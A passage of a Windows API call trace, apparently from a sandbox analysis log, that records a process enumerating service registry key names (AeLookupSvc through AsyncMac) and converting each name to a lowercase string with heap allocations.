BaseAddress=0x21f2eb0) returned 1 [0241.624] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0241.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0241.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.624] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0241.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0241.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.625] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0241.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0241.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.625] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0241.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0241.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.625] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0241.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0241.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.625] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.625] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0241.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0241.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.626] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0241.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0241.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.626] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0241.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0241.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.626] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0241.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0241.626] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.626] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.626] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0241.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0241.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.627] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0241.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0241.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.627] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0241.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0241.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.627] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.627] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0241.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0241.627] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.628] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0241.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0241.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.628] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0241.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0241.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.628] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0241.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0241.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.628] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0241.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0241.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.629] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0241.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0241.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.629] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0241.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0241.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.629] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0241.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1928, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0241.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.630] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0241.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0241.630] RtlAllocateHeap (HeapHandle=0x2520000, 